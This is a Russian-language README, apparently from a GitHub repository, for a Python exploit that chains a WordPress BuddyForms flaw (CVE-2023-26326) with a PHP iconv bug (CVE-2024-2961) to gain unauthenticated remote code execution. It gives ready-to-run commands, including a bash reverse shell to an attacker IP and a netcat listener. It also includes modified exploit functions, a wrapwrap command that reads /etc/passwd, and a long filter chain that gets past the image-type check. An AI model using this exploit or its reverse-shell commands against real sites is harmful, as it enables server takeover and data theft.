
Эксплойт на Python для CVE-2023-26326 (WordPress BuddyForms) в связке с CVE-2024-2961 для достижения неаутентифицированного удаленного выполнения кода через php://filter на PHP 8+.
usage: python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
Изначально CVE-2023–26326 требовал цепочек гаджетов для эксплуатации как уязвимости десериализации. Этот метод больше не применим на более новых сайтах WordPress, работающих на PHP 8+; однако, объединив его с CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1), эксплуатация становится возможной через php://filter вместо phar://.
Эксплойт был создан путём модификации скрипта cnext-exploit.py, с внесением необходимых изменений для CVE-2023-26326, как описано в разделе Описание изменений.
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT> для получения обратной оболочки:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
screenshot of executing the exploit
screenshot of catching the reverse shell
Основная идея эксплойта CVE-2024-2961 была сохранена, но потребовались модификации для адаптации к отправке цепочки фильтров на веб-сайт и загрузке файлов с сервера.
В оригинальном эксплойте функция send используется для отправки пути на сервер:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
Для WordPress с BuddyForms взаимодействие по умолчанию осуществляется через POST-запрос к /wp-admin/admin-ajax.php, где тело данных содержит action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif. Параметр URL является точкой внедрения для отправки цепочки фильтров на сервер. Это привело к следующей модификации функции send:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
В оригинальном эксплойте была функция download, отвечающая за загрузку файлов с сервера. В оригинальном эксплойте использовалась следующая версия функции download:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
Для адаптации к BuddyForms проанализируем функцию buddyforms_upload_image_from_url, которая обрабатывает загрузку изображений по URL. Она использует file_get_contents, проверяет тип файла с помощью getimagesize(), а затем сохраняет содержимое в каталог wp-content/uploads. Это позволяет нам использовать php://filter для чтения локальных файлов и сохранения их в каталог загрузок, делая их доступными по URL. Однако необходимо обойти проверку файла, добавив GIF89a в начало содержимого файла, чтобы имитировать GIF. Это можно сделать с помощью цепочек фильтров, а инструмент wrapwrap может сгенерировать необходимую цепочку:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000
generate-filters-chain-with-wrapwrap
Сгенерированная цепочка фильтров должна заменить кодировку base64, используемую в оригинальном скрипте. Кроме того, необходимо обновить формат извлечения пути загруженного файла из ответа, чтобы он соответствовал формату JSON, который включает атрибут "response", содержащий путь к файлу.
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
Обратите внимание, что префикс GIF89a следует удалить перед использованием содержимого файла в эксплойте, что приводит к следующей модифицированной функции download:
def download(self, path: str) -> bytes:
# Append prefix "GIF89a" to bypass file type check with getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove the prefix "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6Обратите внимание, что загрузка файла libc.so.6 с сервера может работать некорректно с цепочками фильтров, так как бинарный файл изменяется в процессе. Вместо этого правильный файл следует поместить в корневой каталог эксплойта.